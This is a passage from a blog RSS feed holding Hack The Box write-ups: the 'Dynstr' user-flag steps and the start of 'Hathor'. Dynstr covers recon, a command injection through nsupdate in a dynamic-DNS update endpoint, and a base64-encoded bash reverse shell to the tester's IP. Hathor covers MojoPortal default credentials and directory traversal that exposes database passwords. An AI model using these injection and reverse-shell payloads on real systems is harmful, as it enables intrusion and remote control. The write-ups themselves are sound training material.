<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">112/udp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">   open</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">|</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">filtered</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> mcidas</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">120/udp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">   open</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">|</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">filtered</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> cfdptkt</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">517/udp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">   open</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">|</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">filtered</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> talk</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">1782/udp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  open</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">|</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">filtered</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> hp-hcip</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">1886/udp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  open</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">|</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">filtered</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> leoip</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">39683/udp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> open</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">|</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">filtered</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> unknown</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">40019/udp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> open</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">|</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">filtered</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> unknown</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">45722/udp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> open</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">|</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">filtered</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> unknown</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">49165/udp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> open</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">|</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">filtered</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> unknown</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">49176/udp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> open</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">|</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">filtered</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> unknown</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">49360/udp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> open</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">|</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">filtered</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> unknown</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">57843/udp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> open</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">|</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">filtered</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> unknown</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><h2>User flag</h2>
<h3>Web application recon</h3>
<p>Under the source code of the page, it was possible to retrieve the following credentials <code>dynadns/sndanyd</code>.</p>
<figure><figcaption>source-code-creds</figcaption></figure>
<p>Furthermore other domains were discovered from the source code :</p>
<div class="language-html line-numbers-mode" data-highlighter="shiki" data-ext="html" data-title="html" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&lt;</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">p</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt;We are providing Dynamic DNS for a number of domains:&lt;</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">ul</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt;&lt;</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">li</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt;dnsalias.htb&lt;/</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">li</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt;&lt;</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">li</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt;dynamicdns.htb&lt;/</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">li</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt;&lt;</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">li</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt;no-ip.htb&lt;/</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">li</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt;&lt;/</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">ul</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt;&lt;/</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">p</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt;</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>It was possible to discover subdomains :</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>&gt; dig dyna.htb @10.129.174.24</span></span>
<span class="line"><span></span></span>
<span class="line"><span>; &lt;&lt;&gt;&gt; DiG 9.16.13-Debian &lt;&lt;&gt;&gt; dyna.htb @10.129.174.24</span></span>
<span class="line"><span>;; global options: +cmd</span></span>
<span class="line"><span>;; Got answer:</span></span>
<span class="line"><span>;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 41434</span></span>
<span class="line"><span>;; flags: qr aa rd; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1</span></span>
<span class="line"><span>;; WARNING: recursion requested but not available</span></span>
<span class="line"><span></span></span>
<span class="line"><span>;; OPT PSEUDOSECTION:</span></span>
<span class="line"><span>; EDNS: version: 0, flags:; udp: 4096</span></span>
<span class="line"><span>; COOKIE: df9085857e1bd6b30100000060d487f4c681b5a2538d8e00 (good)</span></span>
<span class="line"><span>;; QUESTION SECTION:</span></span>
<span class="line"><span>;dyna.htb.                      IN      A</span></span>
<span class="line"><span></span></span>
<span class="line"><span>;; AUTHORITY SECTION:</span></span>
<span class="line"><span>dyna.htb.               60      IN      SOA     dns1.dyna.htb. hostmaster.dyna.htb. 2021030302 21600 3600 604800 60</span></span>
<span class="line"><span></span></span>
<span class="line"><span>;; Query time: 80 msec</span></span>
<span class="line"><span>;; SERVER: 10.129.174.24#53(10.129.174.24)</span></span>
<span class="line"><span>;; WHEN: Thu Jun 24 13:26:11 UTC 2021</span></span>
<span class="line"><span>;; MSG SIZE  rcvd: 117</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>It is also said that an API similar to the one offered by <code>no-ip.com</code> is avaiable.</p>
<div class="language-html line-numbers-mode" data-highlighter="shiki" data-ext="html" data-title="html" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&lt;</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">h3</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt;Quality Dynamic DNS&lt;/</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">h3</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&lt;</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">p</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt;We are providing dynamic DNS for anyone with the same API as no-ip.com has. Maintaining API conformance helps make clients work properly</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">.&lt;/</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">p</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt;</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>An enumeration of the available resources highlighted the fact that a <code>nic</code> is present.</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>gobuster dir -f -u dynstr.htb --wildcard -w /usr/share/dirb/wordlists/big.txt -t 80</span></span>
<span class="line"><span>===============================================================</span></span>
<span class="line"><span>Gobuster v3.1.0</span></span>
<span class="line"><span>by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)</span></span>
<span class="line"><span>===============================================================</span></span>
<span class="line"><span>[+] Url:                     http://dynstr.htb</span></span>
<span class="line"><span>[+] Method:                  GET</span></span>
<span class="line"><span>[+] Threads:                 80</span></span>
<span class="line"><span>[+] Wordlist:                /usr/share/dirb/wordlists/big.txt</span></span>
<span class="line"><span>[+] Negative Status codes:   404</span></span>
<span class="line"><span>[+] User Agent:              gobuster/3.1.0</span></span>
<span class="line"><span>[+] Add Slash:               true</span></span>
<span class="line"><span>[+] Timeout:                 10s</span></span>
<span class="line"><span>===============================================================</span></span>
<span class="line"><span>2021/06/24 13:37:35 Starting gobuster in directory enumeration mode</span></span>
<span class="line"><span>===============================================================</span></span>
<span class="line"><span>/.htaccess/           (Status: 403) [Size: 275]</span></span>
<span class="line"><span>/.htpasswd/           (Status: 403) [Size: 275]</span></span>
<span class="line"><span>/assets/              (Status: 403) [Size: 275]</span></span>
<span class="line"><span>/icons/               (Status: 403) [Size: 275]</span></span>
<span class="line"><span>/nic/                 (Status: 200) [Size: 0]</span></span>
<span class="line"><span>/server-status/       (Status: 403) [Size: 275]</span></span>
<span class="line"><span></span></span>
<span class="line"><span>===============================================================</span></span>
<span class="line"><span>2021/06/24 13:37:59 Finished</span></span>
<span class="line"><span>===============================================================</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>Inside the <code>nic</code> folder, the <code>update</code> folder was discovered :</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>&gt; gobuster dir -f -u http://dynstr.htb/nic --wildcard -w /usr/share/dirb/wordlists/big.txt -t 80</span></span>
<span class="line"><span>===============================================================</span></span>
<span class="line"><span>Gobuster v3.1.0</span></span>
<span class="line"><span>by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)</span></span>
<span class="line"><span>===============================================================</span></span>
<span class="line"><span>[+] Url:                     http://dynstr.htb/nic</span></span>
<span class="line"><span>[+] Method:                  GET</span></span>
<span class="line"><span>[+] Threads:                 80</span></span>
<span class="line"><span>[+] Wordlist:                /usr/share/dirb/wordlists/big.txt</span></span>
<span class="line"><span>[+] Negative Status codes:   404</span></span>
<span class="line"><span>[+] User Agent:              gobuster/3.1.0</span></span>
<span class="line"><span>[+] Add Slash:               true</span></span>
<span class="line"><span>[+] Timeout:                 10s</span></span>
<span class="line"><span>===============================================================</span></span>
<span class="line"><span>2021/06/24 13:39:38 Starting gobuster in directory enumeration mode</span></span>
<span class="line"><span>===============================================================</span></span>
<span class="line"><span>/.htaccess/           (Status: 403) [Size: 275]</span></span>
<span class="line"><span>/.htpasswd/           (Status: 403) [Size: 275]</span></span>
<span class="line"><span>/update/              (Status: 200) [Size: 8]</span></span>
<span class="line"><span></span></span>
<span class="line"><span>===============================================================</span></span>
<span class="line"><span>2021/06/24 13:40:03 Finished</span></span>
<span class="line"><span>===============================================================</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>Once the resource identified, a request highlighted the fact an authentication mechanisms is present.</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>&gt; curl -Ssi http://dynstr.htb/nic/update/</span></span>
<span class="line"><span>HTTP/1.1 200 OK</span></span>
<span class="line"><span>Date: Thu, 24 Jun 2021 13:41:15 GMT</span></span>
<span class="line"><span>Server: Apache/2.4.41 (Ubuntu)</span></span>
<span class="line"><span>Content-Length: 8</span></span>
<span class="line"><span>Content-Type: text/html; charset=UTF-8</span></span>
<span class="line"><span></span></span>
<span class="line"><span>badauth</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>In fact the endpoint <code>update</code> belongs to the <code>no-ip</code> service. More documentation can be found on <a href="https://www.noip.com/integrate/request" target="_blank" rel="noopener noreferrer">https://www.noip.com/integrate/request</a>.
The following request can be sent :</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>http://username:password@dynupdate.no-ip.com/nic/update?hostname=mytest.example.com&amp;myip=192.0.2.25</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>Sending it with a domain, an error was returned.</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>&gt; curl http://dynadns:sndanyd@dynstr.htb/nic/update?hostname=dyna.htb&amp;myip=10.10.14.39</span></span>
<span class="line"><span>911 [wrngdom: htb]</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div></div></div><p>The domain <code>no-ip.htb</code> is accepted.</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>&gt; curl http://dynadns:sndanyd@dynstr.htb/nic/update?hostname=hophouse.no-ip.htb&amp;myip=10.10.14.39</span></span>
<span class="line"><span>good 10.10.14.39</span></span>
<span class="line"><span>&gt; curl http://dynadns:sndanyd@dynstr.htb/nic/update?hostname=*.no-ip.htb&amp;myip=10.10.14.39</span></span>
<span class="line"><span>good 10.10.14.39</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>It is possible to confirm that it went well :</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>&gt; dig test.no-ip.htb @10.129.174.24 +short</span></span>
<span class="line"><span>10.10.14.39</span></span>
<span class="line"><span>&gt; dig test-random-string.no-ip.htb @10.129.174.24 +short</span></span>
<span class="line"><span>10.10.14.39</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>By injecting special characters, I was able to get an error that involve the <code>nsupdate</code> binary.</p>
<figure><figcaption>error-1</figcaption></figure>
<p>From the <a href="https://linux.die.net/man/8/nsupdate" target="_blank" rel="noopener noreferrer">man page of the <code>nsupdate</code> binary</a>, I discovered that, once the binary is launched, it received commands.</p>
<figure><figcaption>man-nsupdate</figcaption></figure>
<p>So I assummed that somehow the Web application is running the binary <code>nsupdate</code>. I tried to escape from it in order to get a code execution. I was able to inject some special characters that allow me to display a longer error log message.</p>
<figure><figcaption>error-2</figcaption></figure>
<p>I tried to send the command <code>send</code> in order to terminate the <code>nsupdate</code> "session" and execute an arbitrary command. I was able to send a <code>whoami</code> command and get the result with the following command :</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>&gt; curl 'http://dynadns:sndanyd@dynstr.htb/nic/update?hostname=test\nsend\\n\\n"$(whoami)\\n\\ntest.no-ip.htb'</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><figure><figcaption>error-3-exec</figcaption></figure>
<p>The script would only accept only a limited amount of dot.
</p>
<p>I trnasformed my IP address in a decimal form.
</p>
<p>I then was able to retrieve a connection to my machine.</p>
<p>
</p>
<p>Using the following payload, it was possible to get a reverse-shell as the user <code>www-data</code>.</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zOS80NDQ0IDA+JjEK'|base64 -d|bash</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><figure><figcaption>www-data-shell</figcaption></figure>
<p>Inspecting folders on the disk into the home directory, it was possible to identify debug resources that might contain sensitive data.</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>www-data@dynstr:/home$ ls -lahR /home</span></span>
<span class="line"><span>ls -lahR /home</span></span>
<span class="line"><span>/home:</span></span>
<span class="line"><span>total 16K</span></span>
<span class="line"><span>drwxr-xr-x  4 root    root    4.0K Mar 15 20:26 .</span></span>
<span class="line"><span>drwxr-xr-x 18 root    root    4.0K May 25 14:52 ..</span></span>
<span class="line"><span>drwxr-xr-x  5 bindmgr bindmgr 4.0K Mar 15 20:39 bindmgr</span></span>
<span class="line"><span>drwxr-xr-x  3 dyna    dyna    4.0K Mar 18 20:00 dyna</span></span>
<span class="line"><span></span></span>
<span class="line"><span>/home/bindmgr:</span></span>
<span class="line"><span>total 36K</span></span>
<span class="line"><span>drwxr-xr-x 5 bindmgr bindmgr 4.0K Mar 15 20:39 .</span></span>
<span class="line"><span>drwxr-xr-x 4 root    root    4.0K Mar 15 20:26 ..</span></span>
<span class="line"><span>lrwxrwxrwx 1 bindmgr bindmgr    9 Mar 15 20:29 .bash_history -&gt; /dev/null</span></span>
<span class="line"><span>-rw-r--r-- 1 bindmgr bindmgr  220 Feb 25  2020 .bash_logout</span></span>
<span class="line"><span>-rw-r--r-- 1 bindmgr bindmgr 3.7K Feb 25  2020 .bashrc</span></span>
<span class="line"><span>drwx</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div>]]></content:encoded>
      <enclosure url="https://blog.hophouse.fr/htb-header.png" type="image/png"/>
    </item>
    <item>
      <title>Hathor</title>
      <link>https://blog.hophouse.fr/posts/Hack%20The%20Box/Htb-Hathor.html</link>
      <guid>https://blog.hophouse.fr/posts/Hack%20The%20Box/Htb-Hathor.html</guid>
      <source url="https://blog.hophouse.fr/rss.xml">Hathor</source>
      <description>box_informationsbox_informations Scan As usual, both TCP and UDP port scans were done on the box. The TCP scan revealed that the following ports are open: TCP scan UDP Scan Web ...</description>
      <category>Write-Up</category>
      <pubDate>Mon, 14 Nov 2022 00:00:00 GMT</pubDate>
      <content:encoded><![CDATA[<figure><figcaption>box_informations</figcaption></figure>
<h2>Scan</h2>
<p>As usual, both TCP and UDP port scans were done on the box. The TCP scan revealed that the following ports are open:</p>
<h3>TCP scan</h3>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> nmap -p- -Pn --open -iL input_ip.txt -oA nmap_open_tcp_ports</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><h3>UDP Scan</h3>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> nmap -sU -Pn --open -iL input_ip.txt -oA nmap_open_udp_ports</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><h2>Web application</h2>
<p>Using the web application, it appeared that it is a MojoPortal application. It is possible to register an account an log a new user. From there it is possible to identify the presence of a user named <code>admin</code>.</p>
<p>Looking at the MojoPortal documentation, it is possible to identify default login and password : <code>admin@admin.com</code>/<code>admin</code>.</p>
<p>The default account was still enabled and the password not changed.
It was then possible to log as an admin user.</p>
<figure><figcaption>Log as admin</figcaption></figure>
<p>Looking for public vulnerabilities on the web allowed us to quickly identify 2 vulnerabilities that could be exploited :</p>
<ul>
<li>Directory Traversal in mojoPortal v2.7 (CVE-2022-40123)</li>
<li>Upload Malicious File in mojoPortal v2.7 (CVE-2022-40341)</li>
</ul>
<p>Using the first one to read configuration files like the <code>web.config</code> give information :</p>
<div class="language-xml line-numbers-mode" data-highlighter="shiki" data-ext="xml" data-title="xml" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&lt;</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">add</span><span style="--shiki-light:#6F42C1;--shiki-dark:#D19A66"> key</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"PostgreSQLConnectionString"</span><span style="--shiki-light:#6F42C1;--shiki-dark:#D19A66"> value</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"Server=localhost;Port=5432;Encoding=unicode;User Id=mojouser;Password=mojo123;Database=mojoportal;CommandTimeout=120;"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> /&gt;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&lt;</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">add</span><span style="--shiki-light:#6F42C1;--shiki-dark:#D19A66"> key</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"MySqlConnectionString"</span><span style="--shiki-light:#6F42C1;--shiki-dark:#D19A66"> value</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"Data Source=localhost;Database=mojoportal;User ID=mojouser;Password=mojo123;Charset=utf8;"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> /&gt;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&lt;</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">add</span><span style="--shiki-light:#6F42C1;--shiki-dark:#D19A66"> key</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"FirebirdConnectionString"</span><span style="--shiki-light:#6F42C1;--shiki-dark:#D19A66"> value</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"Data Source=localhost;Server Type=0;Port Number=3050;Database=C:\Users\JoeAudette\devprojects\mojoportal\mojoportal.fdb;Dialect=3;Charset=UTF8;Pooling=True;Min Pool Size=0;Max Pool Size=200;Connection Timeout=10;Connection Lifetime=60;Fetch Size=200;User Id=SYSDBA;Password=masterkey"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> /&gt;</span></span>
